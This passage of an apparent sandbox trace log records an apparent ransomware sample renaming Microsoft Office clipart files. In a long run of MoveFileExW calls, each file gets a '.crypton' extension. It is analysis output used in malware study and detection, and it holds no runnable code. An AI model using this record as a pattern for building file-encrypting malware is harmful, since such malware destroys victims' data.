dwFlags=0x2) returned 1 [0078.112] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.crypton"), dwFlags=0x2) returned 1 [0078.116] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.crypton"), dwFlags=0x2) returned 1 [0078.132] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.crypton"), dwFlags=0x2) returned 1 [0078.151] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.crypton"), dwFlags=0x2) returned 1 [0078.165] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.crypton"), dwFlags=0x2) returned 1 [0078.190] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.crypton"), dwFlags=0x2) returned 1 [0078.199] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.crypton"), dwFlags=0x2) returned 1 [0078.207] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.crypton"), dwFlags=0x2) returned 1 [0078.215] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.crypton"), dwFlags=0x2) returned 1 [0078.224] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.crypton"), dwFlags=0x2) returned 1 [0078.232] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.crypton"), dwFlags=0x2) returned 1 [0078.243] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.crypton"), dwFlags=0x2) returned 1 [0078.249] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.crypton"), dwFlags=0x2) returned 1 [0078.269] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.crypton"), dwFlags=0x2) returned 1 [0078.299] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.crypton"), dwFlags=0x2) returned 1 [0078.334] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.crypton"), dwFlags=0x2) returned 1 [0078.361] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.crypton"), dwFlags=0x2) returned 1 [0078.383] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.crypton"), dwFlags=0x2) returned 1 [0078.388] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.crypton"), dwFlags=0x2) returned 1 [0078.400] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.crypton"), dwFlags=0x2) returned 1 [0078.416] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.crypton"), dwFlags=0x2) returned 1 [0078.424] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.crypton"), dwFlags=0x2) returned 1 [0078.431] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.crypton"), dwFlags=0x2) returned 1 [0078.455] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.crypton"), dwFlags=0x2) returned 1 [0078.489] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.crypton"), dwFlags=0x2) returned 1 [0078.501] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.crypton"), dwFlags=0x2) returned 1 [0078.522] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.crypton"), dwFlags=0x2) returned 1 [0078.538] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.crypton"), dwFlags=0x2) returned 1 [0078.553] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.crypton"), dwFlags=0x2) returned 1 [0078.563] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.crypton"), dwFlags=0x2) returned 1 [0078.571] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.crypton"), dwFlags=0x2) returned 1 [0078.578] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.crypton"), dwFlags=0x2) returned 1 [0078.597] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.crypton"), dwFlags=0x2) returned 1 [0078.610] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.crypton"), dwFlags=0x2) returned 1 [0078.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.crypton"), dwFlags=0x2) returned 1 [0078.643] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.crypton"), dwFlags=0x2) returned 1 [0078.647] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.crypton"), dwFlags=0x2) returned 1 [0078.688] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.crypton"), dwFlags=0x2) returned 1 [0078.858] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.crypton"), dwFlags=0x2) returned 1 [0079.072] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.crypton"), dwFlags=0x2) returned 1 [0079.148] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.crypton"), dwFlags=0x2) returned 1 [0079.200] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.crypton"), dwFlags=0x2) returned 1 [0079.224] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.crypton"), dwFlags=0x2) returned 1 [0079.250] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.crypton"), dwFlags=0x2) returned 1 [0079.278] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.crypton"), dwFlags=0x2) returned 1 [0079.333] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.crypton"), dwFlags=0x2) returned 1 [0079.351] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.crypton"), dwFlags=0x2) returned 1 [0079.387] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.crypton"), dwFlags=0x2) returned 1 [0079.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.crypton"), dwFlags=0x2) returned 1 [0079.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.crypton"), dwFlags=0x2) returned 1 [0079.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.crypton"), dwFlags=0x2) returned 1 [0079.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.crypton"), dwFlags=0x2) returned 1 [0079.514] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.crypton"), dwFlags=0x2) returned 1 [0079.527] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.crypton"), dwFlags=0x2) returned 1 [0079.538] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.crypton"), dwFlags=0x2) returned 1 [0079.556] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.crypton"), dwFlags=0x2) returned 1 [0079.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.crypton"), dwFlags=0x2) returned 1 [0079.598] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.crypton"), dwFlags=0x2) returned 1 [0079.634] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.crypton"), dwFlags=0x2) returned 1 [0079.741] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.crypton"), dwFlags=0x2) returned 1 [0079.763] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.crypton"), dwFlags=0x2) returned 1 [0079.790] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.crypton"), dwFlags=0x2) returned 1 [0079.813] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.crypton"), dwFlags=0x2) returned 1 [0079.848] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.crypton"), dwFlags=0x2) returned 1 [0079.869] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.crypton"), dwFlags=0x2) returned 1 [0079.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft 